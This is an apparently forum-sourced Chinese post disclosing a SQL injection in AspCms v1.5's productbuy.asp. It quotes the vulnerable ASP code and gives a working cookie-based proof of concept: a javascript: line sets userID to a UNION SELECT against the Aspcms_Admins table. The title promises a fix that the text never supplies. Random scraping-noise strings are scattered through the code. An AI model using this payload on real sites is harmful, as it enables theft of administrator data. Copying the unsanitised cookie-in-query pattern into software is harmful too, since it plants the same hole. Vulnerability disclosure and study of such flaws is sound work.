AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
$ L: c% r- |, p& P废话不多说，看代码：
: m( x! p6 L4 w/ O) s
<%
& M3 A5 Q* I/ Z" x4 ]
- {" f+ b3 n" s. B2 Y/ v2 |if action = "buy" then

        addOrder()
7 E# u9 Z% I  a" S) t* @
else
) i( o, T: k4 o5 W! I
        echoContent()
& _0 W* e; e" _4 @
end if
; U, r3 J7 @7 _6 J, m; E1 z

( B( [3 J0 F, ]! y; C& x, H! o  a
……略过
2 u- L5 M8 H: g% f$ C) Z
! M/ N- K. g4 [4 [' o
6 i9 {- L# G3 S" v* M/ _1 k6 _
" c8 r7 D: M6 o7 D8 CSub echoContent()

        dim id
& x. c7 G) N, K
  C2 w. R' ]* s" i% b" e1 ?        id=getForm("id","get")

! a/ L. x9 S% r) G% I  o# D        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
  T& q6 w. N7 P) t' b. O
1 n7 u( J- b+ k9 \- g8 |  v& _        

4 {' _. \1 R; S7 x        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

8 k6 {- G& S" k; B        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
/ U' d5 Z& {7 R$ b. [
        Dim templatePath,tempStr

+ e8 Q6 A  N2 E        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



/ V! R" B( b, q        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

- X4 k0 L1 q8 U$ M5 L; F        selectproduct=rsObj(0)

! r8 s4 M1 ]" G0 M7 T        
, E, P6 H4 y  K/ @0 c. z2 I
! n+ z1 |% G* Q+ x        Dim linkman,gender,phone,mobile,email,qq,address,postcode
8 \9 [1 k! h  o
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

, R# q- B0 I; J        if rCookie("loginstatus")=1 then  
. a" T: s9 a" \5 b
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
, i& N3 u3 j7 Y% N- }; x
                linkman=rsObj("truename")
: Y6 [! \# y/ j5 s! Y1 ]  C6 N* M
2 t; d: x. Q& g; `, }; K) U                gender=rsObj("gender")

: O! R) b4 ?1 H( w$ |$ r                phone=rsObj("phone")

                mobile=rsObj("mobile")
, y7 _: l7 A3 w. B
                email=rsObj("email")

                qq=rsObj("qq")

                address=rsObj("address")
  o" _4 y: m4 w- [+ t
* C& u% [! D3 O1 |( a+ q                postcode=rsObj("postcode")

0 |6 B, g& ^% R* r        else

                gender=1
, |6 ^# q$ {' T
        end if
) l, E. M' [* C, _
: O2 `$ ?" B8 Y! Y- v0 k8 D        rsObj.close()

               

! \' \) @. A- F( Q        with templateObj

& N) X' W6 t5 m8 A% x# _7 r                .content=loadFile(templatePath)        

                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
$ M0 ]3 Q( U/ n0 G, P
8 W2 k8 u% l9 q% M0 _6 L! \                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
5 i) d  W- E- m" P% r! V
                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
  T. B8 R" p! _, K/ {5 E9 f
                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
& G; H6 Z/ Y. F' p2 |0 h
                .parseCommon()                 

                echo .content

+ j4 @( x) i3 z# D, z: b( l1 [        end with
& r% h8 i( e7 @% {# q, l. c
        set templateobj =nothing : terminateAllObjects
& R+ f: u4 V" \
End Sub
6 j" w' J1 T' ?0 d漏洞很明显，没啥好说的
+ l! H1 U! \$ F" Q# T4 |- _9 {0 |; upoc：
7 H# u3 H$ A( G/ D4 ?5 R
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
* K9 W% U0 ]0 {2 w